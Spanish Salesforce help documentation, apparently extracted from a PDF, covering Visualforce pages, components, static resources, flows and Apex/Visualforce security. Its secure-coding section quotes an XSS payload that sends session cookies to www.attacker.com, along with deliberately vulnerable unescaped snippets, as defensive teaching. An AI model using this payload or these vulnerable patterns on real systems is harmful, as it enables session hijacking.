EDICIONES
Disponible en: Contact
Manager Edition, Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition
PERMISOS DE USUARIO
Para crear y modificar
pginas de Visualforce:
Personalizar aplicacin
Nota: El prefijo de espacio de nombres se agrega a clases y desencadenadores de Apex, componentes y pginas de Visualforce,
plantillas de marca, carpetas, S-Control, recursos estticos, vnculos Web y tipos de informes personalizados si se incluyen en un
paquete gestionado. Sin embargo, si no dispone de permisos de personalizacin de la aplicacin, no se mostrar el campo de
prefijo del espacio de nombres para plantillas de marca, carpetas y tipos de informes personalizados.
<apex:page>
Hello {!$User.FirstName}!
s</apex:page>
EDICIONES
Disponible en: Contact
Manager Edition, Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition
Tambin puede utilizar campos de combinacin y otras funciones para personalizar su contenido de ayuda a nivel de objeto.
CONSULTE TAMBIN
Definicin de pginas de Visualforce
EDICIONES
Disponible en: Contact
Manager Edition, Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition
PERMISOS DE USUARIO
Para crear fichas de
Visualforce:
Personalizar aplicacin
6. Haga clic en un estilo de ficha para seleccionar el esquema de color y el icono para la ficha personalizada.
Opcionalmente, haga clic en Cree su propio estilo en el cuadro de dilogo Selector del estilo de las fichas si desea crear un estilo
de ficha personalizado y su organizacin tendr acceso a la ficha Documentos. Para crear su estilo de ficha propio:
a. Haga clic en el icono de bsqueda Color para visualizar el cuadro de dilogo de seleccin de color y haga clic en un color
para seleccionarlo.
b. Haga clic en Insertar una imagen, seleccione la carpeta de documentos y seleccione la imagen que desea utilizar.
Otra opcin consiste en hacer clic en Buscar en documentos, introducir un trmino de bsqueda y hacer clic en Ir para buscar
un nombre de archivo de documento que incluya su trmino de bsqueda.
Nota: Este cuadro de dilogo slo enumera archivos en carpetas de documentos que tengan menos de 20 KB y con la
casilla de verificacin Disponible de modo externo activada en la configuracin de las propiedades del documento. Si el
documento utilizado para el icono se elimina posteriormente, Salesforce lo sustituye con un icono de bloque multicolor
predeterminado (
).
c. Seleccione un archivo y haga clic en Aceptar. Volver a aparecer el Asistente para nuevas fichas personalizadas.
7. Tambin puede seleccionar la casilla de verificacin Salesforce Classic Ready para indicar que la pgina de Visualforce
se muestra y funciona correctamente en la aplicacin de Salesforce Classic.
Si selecciona la casilla de verificacin, agregar la ficha a la lista de fichas disponibles para sus configuraciones de Salesforce Classic.
Antes de convertir una ficha de Visualforce, revise las consideraciones de la ficha de SalesforceMobile para asegurarse de que las
pginas de Visualforce en sus fichas son compatibles con los navegadores de Mobile.
Nota: La casilla de verificacin Salesforce Classic Ready slo estar visible si se activa Salesforce Classic en su
organizacin.
Esta configuracin no afecta la visualizacin de las fichas de Visualforce en la aplicacin de Salesforce1. Para activar una nueva
ficha de Visualforce para su uso en Salesforce1, consulte Activar pginas de Visualforce en la aplicacin de Salesforce1 y
Definicin de pginas de Visualforce en la pgina 67.
8. De forma opcional, seleccione un vnculo personalizado para utilizarlo como pgina de bienvenida introductoria cuando los usuarios
hacen clic en la ficha por primera vez. Recuerde que las pginas de bienvenida no aparecen en la aplicacin de Salesforce Classic.
Evite utilizar una pgina de bienvenida si pretende que la ficha sea accesible.
9. Introduzca una descripcin de la ficha, si lo desea, y haga clic en Siguiente.
10. Seleccione los perfiles de usuario para los que estar disponible la nueva ficha personalizada:
Seleccione Aplicar visibilidad de una ficha a todos los perfiles seleccione Ficha predeterminada activada, Ficha predeterminada
desactivada o Ficha oculta en la lista desplegable.
De forma alternativa, seleccione Aplicar visibilidad de una ficha a todos los perfiles y seleccione Ficha predeterminada
activada, Ficha predeterminada desactivada o Ficha oculta desde la lista desplegable para cada perfil.
11. Especifique las aplicaciones personalizadas que deban incluir la nueva ficha.
12. Active Agregar la ficha a las personalizaciones individuales existentes de los usuarios
para agregar la nueva ficha a la configuracin de presentacin personalizada de los usuarios si han personalizado la presentacin
personal.
13. Haga clic en Guardar.
CONSULTE TAMBIN
Definicin de pginas de Visualforce
EDICIONES
Disponible en: Contact
Manager Edition, Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition
PERMISOS DE USUARIO
Para crear, modificar y
establecer la configuracin
de la versin de pginas de
Visualforce:
Personalizar aplicacin
Para establecer la versin de la API de Salesforce y Visualforce de una pgina o un componente personalizado de Visualforce:
1. Modifique una pgina o un componente de Visualforce y haga clic en Configuracin de versin.
Nota: Slo puede acceder a la configuracin de versin de una pgina o componente personalizado si lo modifica desde
Configuracin, en Desarrollo. No puede acceder a configuraciones de versin si realiza una modificacin utilizando el Modo
de desarrollador.
2. Seleccione la versin de la API de Salesforce. Tambin es la versin de Visualforce utilizada con el componente o la pgina.
3. Haga clic en Guardar.
Para configurar la configuracin de versin del paquete de una pgina o un componente personalizado de Visualforce:
1. Modifique una pgina o un componente de Visualforce y haga clic en Configuracin de versin.
2. Seleccione una versin de cada paquete gestionado al que hace referencia la pgina o el componente de Visualforce. La pgina
o el componente seguir utilizando esta versin del paquete gestionado si se instalan versiones posteriores del paquete gestionado,
a menos que actualice manualmente la configuracin de versin. Para agregar un paquete gestionado instalado en la lista de
configuracin, seleccione un paquete en la lista de paquetes disponibles. La lista slo se muestra si tiene un paquete gestionado
instalado que no est ya asociado a la pgina o el componente.
3. Haga clic en Guardar.
Cuando trabaje con la configuracin de versin de paquete, tenga en cuenta lo siguiente:
Si guarda una pgina o un componente personalizado de Visualforce que hace referencia a un paquete gestionado sin especificar
la versin de este, la pgina o el componente se asocia, de forma predeterminada, a la versin ms reciente instalada del paquete
gestionado.
No puede eliminar la configuracin de versin de una pgina o un componente de Visualforce para un paquete gestionado si la
pgina o el componente hace referencia a l. Utilice Mostrar dependencias para encontrar dnde se hace referencia al paquete
gestionado.
EDICIONES
Disponible en: Contact
Manager Edition, Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition
Salesforce incluye un encabezado del Proyecto de plataforma de preferencias de privacidad (P3P) en algunas pginas. El encabezado
se compone de las siguientes configuraciones:
Objetivo
CUR: se utiliza para completar la actividad para la que se dise.
Categora
STA: mecanismo para mantener una sesin estable con un usuario o reconocer automticamente usuarios que han visitado un sitio
concreto o ha accedido a un contenido particular anteriormente; por ejemplo, cookies HTTP.
Destinatario
OTR: entidades legales que aplican diferentes prcticas. Los usuarios no pueden decidir sobre este uso.
Si su navegador es compatible con P3P, este encabezado permite ver todas las pginas de Visualforce. Para obtener informacin sobre
P3P, consulte Proyecto de plataforma de preferencias de privacidad (P3P).
Si su navegador est configurado para bloquear cookies de terceras partes y no utiliza el encabezado P3P y ve un error similar al anterior,
realice una de las siguientes acciones:
Configure P3P para su navegador
Cambie la configuracin de su navegador para permitir cookies de terceras partes
Agregue el servidor correcto a la lista de excepciones de cookies de su navegador
Componentes personalizados
Qu es un componente personalizado?
Salesforce proporciona una biblioteca de componentes predefinidos estndar, como
<apex:relatedList> y <apex:dataTable>, que se pueden utilizar para desarrollar
pginas de Visualforce. Adems, puede generar sus propios componentes personalizados para
aumentar esta biblioteca.
Un componente personalizado abarca un patrn de diseo comn que se puede reutilizar en una
o ms pginas de Visualforce. Se compone de:
Un conjunto de marcas de Visualforce delimitado por la etiqueta <apex:component>
Un controlador de componente opcional escrito en Apex que permite que el componente
ejecute una lgica adicional, como los elementos de clasificacin de una lista o calcular valores
EDICIONES
Disponible en: Contact
Manager Edition, Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition
Por ejemplo, suponga que desea crear un lbum de fotos utilizando pginas de Visualforce. Cada una de las fotos del lbum tiene su
propio borde de color y el texto que aparece debajo. En lugar de repetir la marca de Visualforce necesaria para visualizar cada una de
las fotos del lbum, puede definir un componente personalizado denominado singlePhoto que contiene atributos de imagen,
color de borde y texto y utiliza estos atributos para mostrar la imagen en la pgina. Una vez definido, cada una de las pginas de Visualforce
de su organizacin puede incluir el componente personalizado singlePhoto de la misma forma que una pgina puede incluir
componentes estndar como <apex:dataTable> o <apex:relatedList>.
Al contrario que las plantillas de pgina, que tambin permiten a los desarrolladores reutilizar las marcas, los componentes personalizados
proporcionan ms potencia y flexibilidad porque:
Los componentes personalizados permiten a los desarrolladores definir atributos que se pueden pasar a cada componente. El valor
de un atributo puede cambiar la forma en que se visualiza la marca de la pgina final y la lgica basada en controlador que se ejecuta
para esa instancia del componente. Este comportamiento es diferente del de las plantillas, que no tienen forma de transmitir la
informacin de la pgina que utiliza una plantilla a la propia definicin de la plantilla.
Las descripciones de los componentes personalizados se muestran en el cuadro de dilogo de referencia del componente de la
aplicacin, junto con descripciones de componentes estndar. Por otra parte, slo se puede hacer referencia a las descripciones de
plantilla en el rea Configuracin de Salesforce porque se definen como pginas.
CONSULTE TAMBIN
Definicin de componentes personalizados de Visualforce
Visualizacin y modificacin de componentes personalizados de Visualforce
EDICIONES
PERMISOS DE USUARIO
Para crear componentes
personalizados:
Personalizar aplicacin
7. Haga clic en Configuracin de versin para especificar la versin de Visualforce y la API utilizada con este componente. Tambin
puede especificar versiones para cualquier paquete gestionado instalado en su organizacin.
8. Haga clic en Guardar para guardar los cambios y ver la pantalla de detalles del componente personalizado o haga clic en Guardar
rpido para guardar los cambios y continuar modificando el componente. La marca de Visualforce debe ser vlida para poder
guardar el componente.
Nota: Tambin puede crear un componente en Modo de desarrollo de Visualforce agregando una referencia a un componente
personalizado que ya no exista en la marca de pgina de Visualforce. Despus de guardar la marca, aparecer un vnculo rpido
que le permite crear una nueva definicin de componente (incluyendo cualquier atributo especificado), en funcin del nombre
que le asigne al componente.
Por ejemplo, si an no ha definido un componente personalizado denominado miNuevocomponente e introduce
<c:miNuevocomponente miNuevoatributo ="foo"/> en una marca existente, despus de hacer en Guardar
aparecer un vnculo rpido que le permitir definir un nuevo componente personalizado denominado miNuevocomponente
con la siguiente definicin predeterminada:
<apex:component>
<apex:attribute name="myattribute" type="String" description="TODO: Describe me"/>
<!-- Begin Default Content REMOVE THIS -->
<h1>Congratulations</h1>
This is your new Component: mynewcomponent
<!-- End Default Content REMOVE THIS -->
</apex:component>
Puede modificar esta definicin en Configuracin haciendo clic en Desarrollo > Componentes y luego haciendo clic en Modificar
junto al componente personalizado miNuevocomponente.
CONSULTE TAMBIN
Qu es un componente personalizado?
Qu es un componente personalizado?
EDICIONES
Disponible en: Contact
Manager Edition, Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition
PERMISOS DE USUARIO
Para duplicar, modificar,
eliminar o definir versiones
de componentes
personalizados:
Personalizar aplicacin
El componente se muestra como una pgina de Visualforce. En consecuencia, si su componente se basa en atributos o en el contenido
del cuerpo de una etiqueta de un componente, esta URL puede generar resultados no esperados. Para comprobar un componente
personalizado con mayor precisin, agrguelo a una pgina de Visualforce y visualice la pgina.
CONSULTE TAMBIN
Qu es un componente personalizado?
EDICIONES
Disponible en: Contact
Manager Edition, Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition
PERMISOS DE USUARIO
Para crear y modificar
componentes
personalizados:
Personalizar aplicacin
Recursos estticos
Qu es un recurso esttico?
Los recursos estticos le permiten cargar contenido al que pueda hacer referencia en una pgina
de Visualforce, lo que incluye archivos (como archivos .zip y .jar), imgenes, hojas de estilo, programas
JavaScript y otros archivos.
Es preferible utilizar un recurso esttico a descargar un archivo en la ficha Documentos debido a
que:
Puede agrupar una coleccin de archivos relacionados en una jerarqua de directorios y cargarla
como un archivo .zip o .jar.
Puede hacer referencia a un recurso esttico en la marca de pgina por el nombre mediante
la variable global $Resource en lugar de codificar los Id. de documento:
EDICIONES
Disponible en: Contact
Manager Edition, Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition
Para hacer referencia a un archivo independiente, utilice $Resource.<nombre_recurso> como campo de combinacin,
donde <nombre_recurso> es el nombre que especific al cargar el recurso. Por ejemplo:
<apex:image url="{!$Resource.TestImage}" width="50" height="50"/>
o bien
<apex:includeScript value="{!$Resource.MyJavascriptFile}"/>
Para hacer referencia a un archivo, utilice la funcin URLFOR. Especifique el nombre de recurso esttico que proporcion al
cargar el archivo con el primer parmetro y la ruta al archivo que desee dentro del archivo con el segundo. Por ejemplo:
<apex:image url="{!URLFOR($Resource.TestZip,
'images/Bluehills.jpg')}" width="50" height="50"/>
o bien
<apex:includeScript value="{!URLFOR($Resource.LibraryJS, '/base/subdir/file.js')}"/>
Puede utilizar rutas relativas en archivos en archivos comprimidos de recursos estticos para hacer referencia a otros contenidos en
el archivo. Por ejemplo, en su archivo CSS, llamado styles.css, tiene los siguientes estilos:
table { background-image: img/testimage.gif }
Si utiliza ese archivo CSS en una pgina de Visualforce, debe asegurarse de que el archivo CSS puede encontrar la imagen. Para ello,
cree un archivo comprimido (como un archivo zip) que incluya styles.css y img/testimage.gif. Compruebe que la
estructura de la ruta se conserva en el archivo comprimido. A continuacin cargue el archivo comprimido como un recurso esttico
llamado style_resources. A continuacin, en su pgina, agregue el siguiente componente:
<apex:stylesheet value="{!URLFOR($Resource.style_resources, 'styles.css')}"/>
Como el recurso esttico contiene la hoja de estilos y la imagen, la ruta relativa de la hoja de estilos se resuelve y la imagen se muestra.
Un nico recurso esttico puede tener hasta 5 MB de tamao. Cada organizacin puede tener hasta 250 MB de recursos estticos.
Recursos estticos que se aplican a la cuota de almacenamiento de datos de su organizacin.
CONSULTE TAMBIN
Definicin de recursos estticos
EDICIONES
PERMISOS DE USUARIO
Para crear recursos
estticos:
Personalizar aplicacin
EDICIONES
Disponible en: Contact
Manager Edition, Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition
PERMISOS DE USUARIO
Para duplicar, modificar o
eliminar recursos estticos:
Personalizar aplicacin
EDICIONES
Disponible en: Contact
Manager Edition, Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition
PERMISOS DE USUARIO
Para crear y modificar
recursos estticos:
Personalizar aplicacin
Flujos en Visualforce
Adicin de un flujo a una pgina de Visualforce
Para personalizar la apariencia y aspecto de un flujo o mejorar sus funcionalidades puede incrustarlo
como un componente en una pgina de Visualforce. Si su organizacin ha activado flujos para sitios
y portales, a continuacin podr distribuir el flujo a su sitio de Force.com, usuarios del Portal de
clientes o portal de socios.
Nota: Los usuarios slo pueden ejecutar flujos que tengan una versin activa. Si el flujo que
ha incrustado no tiene una versin activa, los usuarios vern un mensaje de error. Si el flujo
que ha incrustado incluye un elemento de flujo secundario, ese flujo al que se hace referencia
y denominado como elemento de subflujo debe tener una versin activa.
Para agregar un flujo a una pgina de Visualforce, incrstelo utilizando el componente
<flow:interview>:
1. Busque el nombre nico del flujo:
a. Vaya a la pgina de lista de flujos. En Configuracin, haga clic en Crear > Flujo de trabajo
y aprobaciones > Flujos.
b. Haga clic en el nombre del flujo que desee incrustar.
2. Defina una nueva pgina de Visualforce o abra una que desee modificar.
3. Agregue el componente <flow:interview /> en alguna parte entre las etiquetas
<apex:page>.
EDICIONES
Disponible en: Enterprise
Edition, Performance
Edition, Unlimited Edition y
Developer Edition
PERMISOS DE USUARIO
Para crear, modificar y
establecer la configuracin
de la versin de pginas de
Visualforce:
Personalizar aplicacin
Para activar, desactivar o
eliminar un flujo o modificar
propiedades del flujo:
Gestionar Force.com
Flow
Nota: Si el flujo pertenece a un paquete gestionado, entonces el atributo de name debera tener este formato:
namespace.flowuniquename.
5. Restrinja los usuarios que pueden ejecutar el flujo configurando la seguridad de la pgina para la pgina de Visualforce que lo
contenga.
Si la pgina de Visualforce que contiene el flujo se distribuye externamente a usuarios del sitio o del portal, cualquiera de esos usuarios
con acceso a la pgina de Visualforce podr ejecutar el flujo incrustado.
Si la pgina de Visualforce que contiene el flujo se ofrece a los usuarios en su organizacin a travs de una ficha Web personalizada,
un vnculo o un botn, los usuarios deben tener acceso a la pgina. Tambin deben disponer del permiso Ejecutar flujos o tener
activado el campo Usuario de flujo de Force.com en su pgina de detalles de usuario.
6. Especifique qu sucede cuando un usuario hace clic en Finalizar en una pantalla de flujo al configurar el comportamiento de
finalizacin del flujo.
CONSULTE TAMBIN
Descripcin general de la seguridad de pgina de Visualforce
EDICIONES
Disponible en: Enterprise
Edition, Performance
Edition, Unlimited Edition y
Developer Edition
PERMISOS DE USUARIO
Para crear, modificar y
establecer la configuracin
de la versin de pginas de
Visualforce:
Personalizar aplicacin
<apex:page>
<flow:interview name="MyUniqueFlow" finishLocation="{!URLFOR('/home/home.jsp')}"/>
</apex:page>
No puede redirigir los usuarios del flujo a una URL externa de su organizacin de Salesforce.
Para enrutar los usuarios a otra pgina de Visualforce sin usar URLFOR, defina finishLocation con el nombre de la pgina
de destino con el formato {!$Page.pageName}.
<apex:page>
<flow:interview name="MyUniqueFlow" finishLocation="{!$Page.MyUniquePage}"/>
</apex:page>
Para ver ms ejemplos, consulte "Configuracin del atributo finishLocation en un Flujo" en la Gua del desarrollador de Visualforce.
Nota: Si ofrece a sus usuarios un flujo desde un botn, enlace o ficha Web personalizados que dirija a la URL del flujo, recomendamos
que no utilice retURL en la ruta URL para redirigirlos. Utilizar retURL puede hacer que la pgina de destino que especifique
se presente con barras de navegacin superiores y laterales dentro de las barras de navegacin superiores y laterales ya existentes
de Salesforce.
CONSULTE TAMBIN
Adicin de un flujo a una pgina de Visualforce
EDICIONES
1. Desde Configuracin, haga clic Personalizar > Chatter > Configuracin de Chat.
2. Haga clic en Modificar.
3. En Configuracin de Visualforce, seleccione Permitir.
Cancele la seleccin para desactivar el chat en pginas personalizadas de Visualforce.
4. Haga clic en Guardar.
Para evitar que aparezca el dispositivo de chat en una pgina especfica de Visualforce, realice una
de estas acciones:
PERMISOS DE USUARIO
Seguridad de cdigo
Proteccin de su cdigo
Esta seccin contiene informacin sobre cmo implementar seguridad en su cdigo.
Descripcin general de seguridad de clase de Apex
Configuracin de la seguridad de pgina de Visualforce desde una definicin de pgina.
Sugerencias de seguridad para el desarrollo de Apex y Visualforce
Seguridad Apex
Descripcin general de seguridad de clase de Apex
Puede especificar los usuarios que pueden ejecutar los mtodos de un nivel superior concreto de
clase de Apex en funcin de su perfil o de un conjunto de permisos asociado. Estos permisos slo
son aplicables a los mtodos de clase de Apex como mtodos de servicio Web o cualquier mtodo
utilizado en un controlador de Visualforce personalizado o en una extensin de controlador aplicada
a una pgina de Visualforce. Los desencadenadores siempre activan eventos de desencadenador
(como insert o update) independientemente del permiso del usuario.
Nota: Si ha instalado un paquete gestionado en su organizacin, puede establecer la
seguridad nicamente para las clases de Apex en ese paquete que estn declaradas como
global, o para clases que contengan mtodos declarados como webService.
EDICIONES
Disponible en: Performance
Edition, Unlimited Edition,
Developer Edition,
Enterprise Edition y
Database.com Edition
Si los usuarios tienen el permiso Apex de autor, pueden acceder a todas las clases de Apex
en la organizacin asociada, sin tener en cuenta la configuracin de seguridad para clases
individuales.
El permiso de una clase de Apex se selecciona solamente en el nivel superior. Por ejemplo, si una clase A llama a la clase B y un perfil de
usuario slo tiene acceso a la clase A, pero no a la clase B, el usuario puede ejecutar el cdigo en la clase A. Del mismo modo, si una
pgina de Visualforce utiliza un componente personalizado con un controlador asociado, slo se comprueba la seguridad del controlador
asociado con la pgina. El controlador asociado con el componente personalizado se ejecuta con independencia de los permisos
establecidos.
Puede establecer la seguridad de clase de Apex a travs de:
La pgina de lista de clases de Apex
Una pgina de detalles de clases de Apex
Conjuntos de permisos
Perfiles
CONSULTE TAMBIN
Sugerencias de seguridad para el desarrollo de Apex y Visualforce
EDICIONES
CONSULTE TAMBIN
Ajuste de acceso a clase de Apex desde la pgina de detalles de clase
PERMISOS DE USUARIO
Para establecer la
seguridad de clase de Apex:
Autor de Apex
Y
Personalizar aplicacin
EDICIONES
CONSULTE TAMBIN
PERMISOS DE USUARIO
Para establecer la
seguridad de clase de Apex:
Autor de Apex
Y
Personalizar aplicacin
EDICIONES
Disponible en: Performance
Edition, Unlimited Edition,
Developer Edition,
Enterprise Edition y
Database.com Edition
PERMISOS DE USUARIO
5. Seleccione las clases de Apex que quiere activar desde la lista de clases de Apex disponibles y
haga clic en Aadir, o seleccione las clases de Apex que quiere desactivar la lista de clases de
Apex activadas y haga clic en Eliminar.
6. Haga clic en Guardar.
CONSULTE TAMBIN
Ajuste de acceso a clase de Apex desde la pgina de lista de clase
Ajuste de acceso a clase de Apex desde la pgina de detalles de clase
Configuracin de acceso a la clase de Apex desde los perfiles
EDICIONES
Disponible en: Performance
Edition, Unlimited Edition,
Developer Edition,
Enterprise Edition y
Database.com Edition
PERMISOS DE USUARIO
4. Seleccione las clases de Apex que quiere activar desde la lista de clases de Apex disponibles y
haga clic en Aadir, o seleccione las clases de Apex que quiere desactivar la lista de clases de
Apex activadas y haga clic en Eliminar.
EDICIONES
Disponible en: Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition y
Database.com Edition
PERMISOS DE USUARIO
Para crear motivos de
colaboracin de Apex:
"Apex de autor"
Para visualizar motivos de
colaboracin de Apex:
Ver parmetros y
configuracin
4. Introduzca una etiqueta para el motivo de colaboracin de Apex: La etiqueta se mostrar en la columna Motivo cuando visualice
la colaboracin de un registro en la interfaz de usuario. La etiqueta tambin est activada para la traduccin a travs del Sistema de
traduccin.
5. Introduzca un nombre para el motivo de colaboracin de Apex: El nombre se utiliza para hacer referencia al motivo cuando se utiliza
la API y Apex. Este nombre slo puede incluir guiones bajos y caracteres alfanumricos y debe ser exclusivo de su organizacin.
Debe comenzar por una letra, no terminar con un guin bajo y no contener espacios ni dos guiones bajos consecutivos.
6. Haga clic en Guardar.
CONSULTE TAMBIN
Nuevo clculo de la colaboracin gestionada por Apex
EDICIONES
Disponible en: Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition y
Database.com Edition
PERMISOS DE USUARIO
Para asociar una clase de
nuevo clculo de
colaboracin gestionada
por Apex:
"Apex de autor"
Para ejecutar un nuevo
clculo de colaboracin
gestionada por Apex:
Apex de autor
O
Gestionar colaboracin
Para obtener ms informacin acerca de la creacin de la colaboracin gestionada por Apex y las clases de nuevo clculo, consulte la
Gua del desarrollador del cdigo Apex de Force.com.
Para asociar una clase de nuevo clculo de colaboracin gestionada por Apex a un objeto personalizado:
1. Desde Configuracin, haga clic en Crear > Objetos.
2. Seleccione el objeto personalizado.
3. Haga clic en Nuevo en la lista relacionada Nuevo clculo de colaboracin de Apex.
4. Seleccione la clase de Apex que vuelve a calcular la colaboracin de Apex para este objeto. La clase que seleccione debe implementar
la interfaz Database.Batchable. No se puede asociar la misma clase de Apex varias veces con el mismo objeto personalizado.
Seguridad de Visualforce
Descripcin general de la seguridad de pgina de Visualforce
Puede especificar los usuarios que pueden ejecutar una pgina concreta de Visualforce en funcin
de su perfil o de un conjunto de permisos asociado.
El permiso de una pgina de Visualforce se selecciona solamente en el nivel superior. Una vez que
los usuarios pueden acceder a una pgina, pueden ejecutar todo el Apex asociado con la pgina.
Incluye:
El controlador de la pgina y cualquier clase de Apex activada desde la clase del controlador.
Cualquier clase de extensin de la pgina y cualquier Apex activada desde una extensin.
Cualquier clase de Apex asociada con componentes personalizados de la pgina.
EDICIONES
Disponible en: Contact
Manager Edition, Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition
Nota: Las organizaciones con Force.com Sites o portales de clientes pueden activar las pginas de Visualforce asignndolas a los
perfiles de los usuarios o activndolas para todo el sitio.
CONSULTE TAMBIN
Sugerencias de seguridad para el desarrollo de Apex y Visualforce
Configuracin de la seguridad de pgina de Visualforce desde una definicin de pgina.
Configuracin de la seguridad de pgina de Visualforce desde los conjuntos de permisos
Configuracin de la seguridad de pgina de Visualforce desde los perfiles
EDICIONES
PERMISOS DE USUARIO
Para establecer la
seguridad de pgina
deVisualforce:
Gestionar conjuntos de
permisos y perfiles
Y
Personalizar aplicacin
EDICIONES
PERMISOS DE USUARIO
Para modificar la
configuracin de acceso a
la pgina de Visualforce:
Gestionar conjuntos de
permisos y perfiles
EDICIONES
PERMISOS DE USUARIO
Para establecer la
seguridad de pgina de
Visualforce:
Gestionar conjuntos de
permisos y perfiles
EDICIONES
Disponible en: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition y
Database.com Edition
Visualforce no est
disponible en
Database.com.
Para certificar una aplicacin para AppExchange, es importante que los desarrolladores conozcan
y comprendan los fallos de seguridad que se describen aqu. Para obtener ms informacin, consulte
la pgina de recursos de seguridad de Force.com de Developer Force en https://developer.salesforce.com/page/Security.
Por ejemplo, suponga que se incluye la siguiente secuencia de comando en una pgina de Force.com utilizando un componente de
secuencia de comando, un evento on* o una pgina de Visualforce.
<script>var foo = '{!$CurrentPage.parameters.userparam}';script>var foo =
'{!$CurrentPage.parameters.userparam}';</script>
Este bloque de secuencias de comandos inserta en la pgina el valor de userparam proporcionado por el usuario. El atacante puede
introducir el siguiente valor de userparam:
1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo='2
En este caso, todas las cookies de la pgina actual se envan a www.attacker.com como la cadena de la consulta en la solicitud
de la secuencia de comandos de cookie.cgi. En este punto, el atacante tiene la cookie de la sesin de la vctima y se puede conectar
a la aplicacin Web como si fuera la vctima.
El atacante puede publicar cdigo daino utilizando informacin de un sitio Web o de correo electrnico. Los usuarios de la aplicacin
Web no slo vern la entrada del atacante, sino que pueden ejecutar la secuencia de comandos del atacante con su navegador en un
contexto de confianza. De esta forma, el atacante puede realizar una amplia variedad de ataques contra la vctima. Estos ataques varan
desde simples acciones como abrir y cerrar ventanas, a ataques ms graves como el robo de datos o de cookies de sesin, lo que permite
al atacante tener acceso completo a la sesin de la vctima.
Para obtener ms informacin sobre este tipo de ataque en general, consulte los siguientes artculos:
http://www.owasp.org/index.php/Cross_Site_Scripting
http://www.cgisecurity.com/xss-faq.html
http://www.owasp.org/index.php/Testing_for_Cross_site_scripting
http://www.google.com/search?q=cross-site+scripting
En la plataforma Force.com existen varias defensas anti XSS en marcha. Por ejemplo, salesforce.com ha implementado filtros que eliminan
caracteres dainos en la mayora de mtodos de salida. Para el desarrollador que utiliza clases estndar y mtodos de salida, las amenazas
de los fallos de XSS se han mitigado en gran medida. Sin embargo, un desarrollador creativo puede encontrar formas de omitir los
controles predeterminados de manera intencionada o accidental. Las siguientes secciones muestran dnde existen protecciones y
dnde no.
Proteccin existente
Todos los componentes estndar de Visualforce, que comienzan por <apex>, tienen filtros anti XSS activados. Por ejemplo, el siguiente
cdigo es normalmente vulnerable a un ataque XSS porque devuelve las entradas y salidas al usuario, pero la etiqueta
<apex:outputText> es segura. Todos los caracteres que parecen ser etiquetas HTML se convierten a su formato literal. Por ejemplo,
el carcter < se convierte a < para que se muestre un literal < en la pantalla del usuario.
<apex:outputText>
{!$CurrentPage.parameters.userInput}
</apex:outputText>
<apex:includeScript>
El componente <apex:includeScript> de Visualforce le permite incluir una secuencia de comandos personalizada en la
pgina. En estos casos, asegrese de validar que el contenido es seguro y no incluye datos proporcionados por el usuario. Por ejemplo,
el siguiente miniprograma es muy vulnerable ya que incluye una entrada proporcionada por el usuario como el valor del texto de
la secuencia de comandos. El valor que proporciona la etiqueta es una URL que debe incluir JavaScript. Si un atacante puede
proporcionar datos arbitrarios a este parmetro (como en el siguiente ejemplo), pueden dirigir potencialmente a la vctima a incluir
cualquier archivo JavaScript desde cualquier otro sitio Web.
<apex:includeScript value="{!$CurrentPage.parameters.userInput}" />
Etiquetas de frmula
La sintaxis general de estas etiquetas es:{!FUNCTION()} o {!$OBJECT.ATTRIBUTE}. Por ejemplo, si un desarrollador quiere
incluir un Id. de sesin de usuario en un vnculo, puede crear el siguiente vnculo utilizando la siguiente sintaxis:
<a
href="http://partner.domain.com/integration/?sid={!$Api.Session_ID}&server={!$Api.Partner_Server_URL_130}">
Go to portal</a>
Las expresiones de frmula pueden ser llamadas de funciones o incluir informacin sobre objetos de plataforma, un entorno de usuario,
entorno de sistema y el entorno de la solicitud. Una caracterstica importante de estas expresiones es que los datos no se excluyen
durante el procesamiento. Como las expresiones se procesan en el servidor, no es posible excluir datos procesados en el cliente utilizando
JavaScript u otra tecnologa del lado del cliente. Pueden producirse situaciones potencialmente peligrosas si la expresin de la frmula
hace referencia a datos ajenos al sistema (potencialmente hostiles o datos editables) y la expresin no se incluye en una funcin para
excluir la salida durante el procesamiento. Una vulnerabilidad comn se crea utilizando la expresin {!$Request.*} para acceder
a los parmetros de la solicitud.
<html>
<head>
<title>{!$Request.title}</title>
</head>
<body>Hello world!</body>
</html>
Desafortunadamente, la etiqueta {!$Request.title} sin escape tambin produce una vulnerabilidad XSS. Por ejemplo, la
solicitud:
http://example.com/demo/hello.html?title=Adios%3C%2Ftitle%3E%3Cscript%3Ealert('xss')%3C%2Fscript%3E
produce la salida:
<html><head><title>Adios</title><script>alert('xss')</script></title></head><body>Hello
world!</body></html>
El mecanismo estndar para la exclusin del lado del servidor es la etiqueta de frmula SUBSTITUTE(). Teniendo en cuenta la
ubicacin de la expresin {!$Request.*} en el ejemplo, el ataque anterior se podra evitar utilizando las siguientes llamadas
anidadas SUBSTITUTE().
<html>
<head>
<title>{! SUBSTITUTE(SUBSTITUTE($Request.title,"<","<"),">",">")}</title>
</head>
<body>Hello world!</body>
</html>
Dependiendo de la ubicacin de la etiqueta y del uso de los datos, los dos caracteres que necesitan excluirse y sus equivalente excluidos
pueden variar. Por ejemplo, esta declaracin:
<script>var ret = "{!$Request.retURL}";script>var ret = "{!$Request.retURL}";</script>
